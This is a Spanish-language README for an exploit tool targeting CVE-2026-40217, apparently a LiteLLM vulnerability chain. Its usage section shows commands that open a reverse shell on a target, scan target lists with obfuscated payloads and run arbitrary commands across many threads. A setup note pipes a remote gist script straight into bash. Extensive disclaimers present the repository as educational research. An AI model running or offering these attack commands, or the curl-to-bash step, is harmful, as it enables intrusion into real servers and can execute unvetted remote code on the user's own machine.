cve-id

⚡ Uso simple

Utiliza este proyecto solo en entornos seguros y autorizados, como:

• Máquinas virtuales locales
• Contenedores Docker
• Entornos de laboratorio aislados
• Entornos de pruebas de penetración autorizados

Ejemplo de configuración:

git clone <repository-url>
cd <repository-name>

# Project use python follow below

# Create a virtual environment
python -m venv venv

# Activate the virtual environment

# macOS / Linux
source venv/bin/activate

# Windows (Git Bash / WSL)
source venv/Scripts/activate

# Install requirments
pip install -r requirements.txt

Ejemplo de uso:

# Help
python cve-2026-40217.py -h

# Single target + reverse shell
python cve-2026-40217.py -t http://localhost:4000 -k "sk-..." --revshell --obfuscate 2

# Multi-target + obfuscation
python cve-2026-40217.py -f targets.txt -k "sk-..." --obfuscate 3 -c "whoami; id"

# With custom threads
python cve-2026-40217.py -f targets.txt -k "sk-..." --threads 10

Nota:

• Si clonas desde otro proyecto, debes ejecutar curl -fsSL https://gist.githubusercontent.com/HORKimhab/24c89ee9a86a42aac88381334f8bfe48/raw | bash -s -- -y para limpiar el .git del directorio anidado.

Créditos o Referencias

• https://thehackernews.com/2026/06/litellm-vulnerability-chain-lets-low.html
• CVE-2026-40217-PoC-learner202649: https://github.com/learner202649/CVE-2026-40217-PoC

📚 Repositorio Educativo de Investigación en Seguridad

Un repositorio para aprender, probar e investigar conceptos de ciberseguridad en entornos controlados.

⚠️ Aviso de Seguridad y Legal

Propósito

Este repositorio es solo para investigación de seguridad educativa y autorizada.

Está diseñado para ayudar a los usuarios a aprender sobre:

• Vulnerabilidades de seguridad
• Conceptos de sandbox y aislamiento
• Prácticas de codificación segura y defensiva

Uso Autorizado Únicamente

Utiliza este repositorio solo en entornos donde tengas permiso, como:

• Laboratorios personales o máquinas virtuales
• Entornos Docker o aislados
• Pruebas de penetración autorizadas
• Formación en ciberseguridad o investigación académica

El uso no autorizado o ilegal está estrictamente prohibido.

Sin Responsabilidad

El autor y los colaboradores no son responsables de ningún daño, uso indebido, problema legal o pérdida causada por este proyecto.

Al usar este repositorio, aceptas que:

• Eres responsable de tus propias acciones
• Lo usarás de forma legal y ética
• El proyecto se proporciona sin garantía

Uso Ético

Este proyecto está destinado a:

• Investigación de seguridad defensiva
• Educación en ciberseguridad
• Concienciación sobre vulnerabilidades
• Investigación segura de sistemas y software

Por favor, sigue las prácticas de divulgación responsable y cumple con todas las leyes aplicables.

Contacto

Para divulgación responsable o colaboración, contacta con el mantenedor del repositorio a través de GitHub.